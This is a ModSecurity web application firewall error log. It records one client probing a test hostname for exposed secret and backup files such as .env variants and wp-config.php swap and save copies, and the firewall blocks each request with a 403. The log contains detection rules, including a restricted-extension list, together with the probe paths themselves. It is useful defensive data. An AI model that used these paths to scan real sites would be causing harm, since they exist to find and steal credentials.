[Sun Nov 30 15:25:03.397102 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;aSxTvy6tRBnriPIR7Vg5lAAAAAw&quot;]
[Sun Nov 30 15:25:03.397434 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;aSxTvy6tRBnriPIR7Vg5lAAAAAw&quot;]
[Sun Nov 30 15:25:03.397651 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;aSxTvy6tRBnriPIR7Vg5lAAAAAw&quot;]
[Sun Nov 30 15:25:03.848521 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;aSxTvy6tRBnriPIR7Vg5lgAAAAw&quot;]
[Sun Nov 30 15:25:03.848743 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;aSxTvy6tRBnriPIR7Vg5lgAAAAw&quot;]
[Sun Nov 30 15:25:03.849004 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;aSxTvy6tRBnriPIR7Vg5lgAAAAw&quot;]
[Sun Nov 30 15:25:04.073759 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.1&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5lwAAAAw&quot;]
[Sun Nov 30 15:25:04.073979 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.1&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5lwAAAAw&quot;]
[Sun Nov 30 15:25:04.074214 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.1&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5lwAAAAw&quot;]
[Sun Nov 30 15:25:04.298437 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mAAAAAw&quot;]
[Sun Nov 30 15:25:04.298608 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mAAAAAw&quot;]
[Sun Nov 30 15:25:04.298815 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mAAAAAw&quot;]
[Sun Nov 30 15:25:04.299025 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mAAAAAw&quot;]
[Sun Nov 30 15:25:04.523403 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mQAAAAw&quot;]
[Sun Nov 30 15:25:04.523634 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mQAAAAw&quot;]
[Sun Nov 30 15:25:04.523843 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mQAAAAw&quot;]
[Sun Nov 30 15:25:04.973737 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mwAAAAw&quot;]
[Sun Nov 30 15:25:04.973957 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mwAAAAw&quot;]
[Sun Nov 30 15:25:04.974145 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aSxTwC6tRBnriPIR7Vg5mwAAAAw&quot;]
[Sun Nov 30 15:25:05.198796 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nAAAAAw&quot;]
[Sun Nov 30 15:25:05.199032 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nAAAAAw&quot;]
[Sun Nov 30 15:25:05.199244 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nAAAAAw&quot;]
[Sun Nov 30 15:25:05.424051 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nQAAAAw&quot;]
[Sun Nov 30 15:25:05.424223 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nQAAAAw&quot;]
[Sun Nov 30 15:25:05.424434 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nQAAAAw&quot;]
[Sun Nov 30 15:25:05.424646 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nQAAAAw&quot;]
[Sun Nov 30 15:25:05.874909 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nwAAAAw&quot;]
[Sun Nov 30 15:25:05.875077 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nwAAAAw&quot;]
[Sun Nov 30 15:25:05.875276 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nwAAAAw&quot;]
[Sun Nov 30 15:25:05.875475 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSxTwS6tRBnriPIR7Vg5nwAAAAw&quot;]
